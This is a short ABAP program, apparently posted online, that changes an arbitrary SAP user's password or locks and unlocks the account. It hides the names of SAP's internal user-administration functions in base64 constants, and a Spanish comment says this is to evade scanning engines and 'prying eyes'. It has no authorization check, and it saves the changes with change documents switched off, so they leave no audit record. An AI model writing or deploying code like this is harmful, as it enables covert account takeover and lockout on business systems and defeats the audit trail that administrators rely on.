W Pub: ABAP Prog Propios LUSER

  1.  
  2. *--[ Programa que se encarga de cambiar el password de un usuario
  3. *--[ Programa que se encarga de des/bloquear un usuario
  4.  
  5. PARAMETERS: p_user type syuname DEFAULT sy-uname,
  6.             p_pass type XUNCODE,
  7.             r_unlock RADIOBUTTON GROUP G01,
  8.             r_passwd RADIOBUTTON GROUP G01.
  9. TYPE-POOLs: abap.
  10. DATA: utility TYPE REF TO cl_http_utility,
  11.       s1 type string,
  12.       s2 type string.
  13.  
  14. *--[ Evitamos motores y ojos curiosos
  15. CONSTANTS: func_01 type c LENGTH 50 VALUE 'U1VTUl9VU0VSX1BBU1NXT1JEX1BVVA==',
  16.            func_02 type c LENGTH 50 VALUE 'U1VTUl9VU0VSX0xPQ0tTVEFURV9HRVQ=',
  17.            func_03 type c LENGTH 50 VALUE 'U1VTUl9VU0VSX1NVUkZBQ0VfTE9DSw==',
  18.            func_04 type c LENGTH 50 VALUE 'U1VTUl9VU0VSX1VOTE9DSw==',
  19.            func_05 type c LENGTH 50 VALUE 'U1VTUl9VU0VSX0xPQ0s=',
  20.            func_06 type c LENGTH 50 VALUE 'U1VTUl9VU0VSX0JVRkZFUlNfVE9fREI='.
  21.  
  22. define to_funct.
  23.   s1 = &1.
  24.   CALL METHOD utility->decode_base64
  25.     EXPORTING
  26.       encoded = s1
  27.     RECEIVING
  28.       decoded = s2.
  29.   sy-lisel = s2.
  30. end-OF-DEFINITION.
  31.  
  32. end-OF-SELECTION.
  33.  
  34.   CREATE OBJECT utility.
  35.   perform lock_unlock.
  36.   perform change_password.
  37.  
  38. form change_password.
  39.   check not r_passwd is INITIAL.
  40.   to_funct func_01.
  41.   CALL FUNCTION sy-lisel
  42.     EXPORTING
  43.       USER_NAME            = p_user
  44.       PASSWORD             = p_pass
  45.       DELETE_PASSWORD      = abap_false
  46.     EXCEPTIONS
  47.       USER_NAME_NOT_EXIST  = 1
  48.       PASSWORD_NOT_ALLOWED = 2
  49.       PASSWORDS_NOT_EQUAL  = 3
  50.       OTHERS               = 4.
  51.  
  52.   PERFORM save_to_db.
  53. ENDFORM.
  54.  
  55.  
  56. form lock_unlock.
  57.   check not r_unlock is INITIAL.
  58.   data: lv_lockstat type USLOCK,
  59.         lv_okcode(5).
  60.  
  61.   to_funct func_02.
  62.   CALL FUNCTION sy-lisel
  63.     EXPORTING
  64.       USER_NAME           = p_user
  65.     IMPORTING
  66.       LOCKSTATE           = lv_lockstat
  67.     EXCEPTIONS
  68.       USER_NAME_NOT_EXIST = 1
  69.       OTHERS              = 2.
  70.  
  71.   to_funct func_03.
  72.   CALL FUNCTION sy-lisel
  73.     IMPORTING
  74.       OKCODE          = lv_okcode
  75.     CHANGING
  76.       LOCKSTATE       = lv_lockstat
  77.     EXCEPTIONS
  78.       PARAMETER_ERROR = 1
  79.       OTHERS          = 2.
  80.  
  81.   if lv_okcode cp 'U*'.
  82.  
  83.     to_funct func_04.
  84.     CALL FUNCTION sy-lisel
  85.       EXPORTING
  86.         USER_NAME           = p_user
  87.         LOCK_GLOBAL         = abap_true
  88.         LOCK_LOCAL          = abap_true
  89.         LOCK_WRONG_LOGON    = abap_true
  90.       EXCEPTIONS
  91.         USER_NAME_NOT_EXIST = 1
  92.         OTHERS              = 2.
  93.  
  94.  
  95.   elseif lv_okcode cp 'L*'.
  96.     to_funct func_05.
  97.     CALL FUNCTION sy-lisel
  98.       EXPORTING
  99.         USER_NAME           = p_user
  100.         LOCK_GLOBAL         = abap_true
  101.         LOCK_LOCAL          = abap_true
  102.       EXCEPTIONS
  103.         USER_NAME_NOT_EXIST = 1
  104.         OTHERS              = 2.
  105.  
  106.   endif.
  107.   check lv_okcode cp 'L*' or lv_okcode cp 'U*'.
  108.   PERFORM save_to_db.
  109. endform.
  110.  
  111. form save_to_db.
  112.   check sy-subrc eq 0.
  113.   to_funct func_06.
  114.   CALL FUNCTION sy-lisel
  115.     EXPORTING
  116.       message_out               = abap_true
  117.       distribution              = abap_false
  118.       write_change_docs         = abap_false
  119.     EXCEPTIONS
  120.       no_logondata_for_new_user = 1
  121.       no_init_password          = 2
  122.       db_insert_usr02_failed    = 3
  123.       db_update_usr02_failed    = 4
  124.       db_insert_usr01_failed    = 5
  125.       db_update_usr01_failed    = 6
  126.       db_insert_usr05_failed    = 7
  127.       db_update_usr05_failed    = 8
  128.       db_insert_usr21_failed    = 9
  129.       db_update_usr21_failed    = 10.
  130.  
  131. ENDFORM.